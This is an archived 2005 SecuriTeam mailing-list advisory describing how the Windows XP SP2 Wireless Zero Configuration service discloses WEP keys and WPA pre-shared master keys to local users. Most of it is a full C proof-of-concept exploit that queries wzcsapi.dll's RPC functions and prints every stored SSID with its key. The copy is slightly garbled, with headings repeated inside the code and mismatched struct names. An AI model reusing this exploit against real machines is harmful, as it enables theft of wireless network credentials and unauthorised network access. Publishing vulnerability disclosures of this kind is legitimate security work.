

# [NT] Microsoft Windows Wireless Zero Multiple Vulnerabilities (Information Disclosure, Authentication Bypass)

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-12/msg00028.html>

---

- *From:* SecuriTeam <[support@xxxxxxxxxxxxxxxx](mailto:support@xxxxxxxxxxxxxxxx)>
  - *Date:* 11 Dec 2005 11:20:14 +0200
- 

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>  
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.  
<http://www.securiteam.com/maillinglist.html>

-----

Microsoft Windows Wireless Zero Multiple Vulnerabilities (Information Disclosure, Authentication Bypass)

---

## SUMMARY

"The Wireless Zero Configuration system service enables automatic configuration for IEEE 802.11 wireless adapters for wireless communication."

The Wireless Zero Configuration system does not validate users and keeps sensitive information on memory. This allows local attackers to retrieve information about wireless network, and possibly bypass authentication.

## DETAILS

Vulnerable Systems:

- \* Microsoft Windows XP SP2
- \* Microsoft Windows XP SP2 with update from <http://support.microsoft.com/?id=893357>  
<http://support.microsoft.com/?id=893357>

## [NT] Microsoft Windows Wireless Zero Multiple Vulnerabilities (Information Disclosure, Authentication Bypass)

The Wireless Zero Configuration system service has an RPC interface with some callable functions. RpcQueryInterface allows local users to get certain data about a wireless interface, for example the SSID/key pairs. The WEP keys are in clear text. The WPA pre-shared key is not disclosed, but the PMK is enough to connect to a wireless network (e.g. attackers can use [http://hostap.epitest.fi/wpa\\_supplicant/](http://hostap.epitest.fi/wpa_supplicant/) which accepts the PMK as an authentication data).

When "View Available Wireless Networks" is open, the WPA PMKs and WEP keys can be found in the memory of the explorer process. The dialog is implemented in wzcdlg.dll that uses wzcsapi.dll which implements WZCQueryInterface.

If attackers call the WZQueryInterface with the right parameters they can get the desired information.

Exploit:

```
//The code is not perfect, but demonstrates the given problem. If the API
is changed the code can be easily broken.
//The code is released under GPL (http://www.gnu.org/licenses/gpl.html),
by Laszlo Toth.
//Use the code at your own responsibility.
//http://www.soonerorlater.hu/index.khtml?article\_id=62
```

```
#include "stdafx.h"
```

```
#include <string.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <memory.h>
#include <wchar.h>
```

```
struct GUID_STRUCTURE{
//How many wireless cards are in the PC?
int count;
wchar_t** guides_ar;
}guids;
```

```
struct PSK_STRUCTURE{
char ssid[92];
int psk_length;
unsigned char psk[32];
char other[584];
};
```

```
struct SSIDS_STRUCTURE{
//How many profile are configured?
int count;
char other[24];
PSK_STRUCTURE psk;
```

[NT] Microsoft Windows Wireless Zero Multiple Vulnerabilities (Information Disclosure, Authentication Bypass)

```
};

struct INTF_ENTRY_STRUCT{
wchar_t* guid;
char other[72];
SSIDS_STRUCT* ssidlist;
char other2[10000];
}iestr;

typedef int (WINAPI* PQUERYI)(void*, int, void*, void*);
typedef int (WINAPI* PENUMI)(void*, GUID_STRUCT*);

int _tmain(int argc, _TCHAR* argv[])
{
//Load wzcsapi to use the implemented RPC interface of Wireless Zero
//Configuration Service
HMODULE hMod = LoadLibrary ("wzcsapi.dll");
if (NULL == hMod)
{
printf ("LoadLibrary failed\n");
return 1;
}

//Get the address of the WZCEnumInterfaces. We need the guid of the
//wireless devices.
PENUMI pEnumI = (PENUMI) GetProcAddress (hMod, "WZCEnumInterfaces");
if (NULL == pEnumI)
{
printf ("GetProcAddress pEnumI failed\n");
return 1;
}

//The call of WZCEnumInterfaces
int ret=pEnumI(NULL, &guids);
if (ret!=0){
printf("WZCEnumInterfaces failed!\n");
return 1;
}

//Get the address of the WZCQueryInterface
PQUERYI pQueryI = (PQUERYI) GetProcAddress (hMod, "WZCQueryInterface");
if (NULL == pQueryI)
{
printf ("GetProcAddress pQueryI failed\n");
return 1;
}

int j;
for(j=0;j<guids.count;j++){
wprintf(L"%s\n",guids.guids_ar[j]);
//memset(&iestr,0,sizeof(iestr));
}
```

[NT] Microsoft Windows Wireless Zero Multiple Vulnerabilities (Information Disclosure, Authentication Bypass)

```
iestr.guid=guids.guids_ar[j];

DWORD dwOutFlags=0;

//This was the debugged value of the second parameter.
//int ret=pQueryI(NULL,0x040CFF0F, ie, &dwOutFlags);

ret=pQueryI(NULL,0xFFFFFFFF, &iestr, &dwOutFlags);
if (ret!=0){
printf("WZCQueryInterface failed!\n");
return 1;
}

//This code is still messy...
if (iestr.ssidlist==NULL){
wprintf(L"There is no SSIDS for: %s!\n", iestr.guid);
}else{

PSK_STRUCTURE* temp=&(iestr.ssidlist->psk);
int i=0;
for(i=0;i<iestr.ssidlist->count;i++){
if(32==temp->psk_length){
printf("%s:",temp->ssid);
for(int j=0; j<32; j++){
printf("%02x",temp->psk[j]);
}
printf("\n");
}else{
printf("%s:%s\n",temp->ssid, temp->psk);
}
temp++;
}
}

return 0;
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:donctl@xxxxxxxxxx>> donctl.

The original article can be found at:

<[http://www.soonerorlater.hu/index.khtml?article\\_id=62](http://www.soonerorlater.hu/index.khtml?article_id=62)>

[http://www.soonerorlater.hu/index.khtml?article\\_id=62](http://www.soonerorlater.hu/index.khtml?article_id=62)

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxxx

=====  
=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

- 
- Prev by Date: [\*\[TOOL\] Ssh-Rbrute.rb – Simple SSH Brute Forcer\*](#)
  - Next by Date: [\*\[NT\] Ipswitch Multiple Vulnerabilities \(IMail IMAP LIST Command DoS, Collaboration Suite SMTP Format String\)\*](#)
  - Previous by thread: [\*\[TOOL\] Ssh-Rbrute.rb – Simple SSH Brute Forcer\*](#)
  - Next by thread: [\*\[NT\] Ipswitch Multiple Vulnerabilities \(IMail IMAP LIST Command DoS, Collaboration Suite SMTP Format String\)\*](#)
  - Index(es):
    - ◆ [\*Date\*](#)
    - ◆ [\*Thread\*](#)